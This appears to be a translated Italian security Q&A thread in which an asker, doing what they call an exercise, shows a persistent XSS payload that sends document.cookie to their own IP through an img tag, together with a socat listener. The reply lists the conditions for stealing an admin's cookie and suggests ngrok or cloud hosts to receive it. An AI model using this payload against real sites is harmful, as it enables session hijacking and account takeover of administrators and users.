Come ottenere cookie di amministrazione con XSS persistente?

0

Due parti di questa domanda.

  1. Diciamo che c'è un sito che accetta il mio input e lo invia in formato XML al server. Quando inserisco l'input come mostrato qui: link

Il motivo per cui ho inserito il codice sopra il collegamento è perché non riesco a inserire il codice qui. Non è formattato correttamente.

Aggiunge una nuova riga nella risposta alla pagina HTML:

<script language="Javascript" type="text/javascript">alert ('XSS')</script>rn

Ricevo persino un popup e il codice JavaScript viene eseguito correttamente.

Quindi, come ho capito, la pagina è vulnerabile a XSS persistente? Poiché tali voci sono persistenti nella pagina Web e ogni volta che ricarico la pagina Web, il javascript fa parte della risposta HTML.

  1. Ora voglio rubare il cookie dell'amministratore (questo fa parte di un esercizio in cui il server è remoto). Non è una rete locale.

Ho costruito il mio payload come mostrato di seguito:

<![CDATA[rn
    <script language="Javascript" type="text/javascript">document.write('<img src="http://<ip_address>/?'+document.cookie+' "/>');</script>rn
    ]]>

Qui, ip_address è il mio indirizzo IP locale (come restituito da ifconfig).

Eseguo socat sul mio computer locale come mostrato di seguito:

socat TCP-LISTEN:80,reuseaddr,fork -

Ora, la mia domanda è: come posso ricevere il cookie amministratore utilizzando il metodo sopra?

Perché il server è remoto. Quando l'amministratore visita la pagina con XSS persistente, come mi verrà trasmesso il cookie di amministratore?

Devo fornire il mio indirizzo IP pubblico nell'URL dell'immagine precedente anziché l'indirizzo IP locale?

    
posta Neon Flash 15.12.2018 - 05:08
fonte

1 risposta

1

Per ottenere un cookie di un altro utente tramite javascript, sembra che siano necessarie le seguenti condizioni per mantenere true:

  • il cookie non è impostato con HttpOnly (altrimenti il browser negherà l'accesso a JS al cookie) oppure sarai in grado di ottenere un keylogger basato su JS nella pagina di accesso e l'MFA non verrà utilizzato.
  • sei in grado di far eseguire l'XSS da qualche parte in un utente amministratore
  • e uno:
    1. hai un host risolvibile a cui il cookie può essere inviato - se si tratta di un'applicazione pubblica pubblica e non sei sulla stessa rete, potresti utilizzare una macchina personale esposta tramite qualcosa come ngrok o qualche altro host indirizzato pubblicamente come un server AWS / GCP / Azure esposto
      • e CORS è abilitato in modo che il browser non blocchi una richiesta di dominio x / tu usi un modo per aggirare SOP come tramite il tag img nell'esempio. o
    2. può escogitare alcuni mezzi per esfiltrare il cookie tramite il server che ospita il sito. Questo potrebbe essere ottenuto facendo in modo che l'utente amministratore possa reinserire il suo cookie nel sito da qualche parte lo trovi / estrailo dal server HTML reso (come un campo nascosto in un post del forum o qualcosa del genere).
risposta data 15.12.2018 - 08:46
fonte

Leggi altre domande sui tag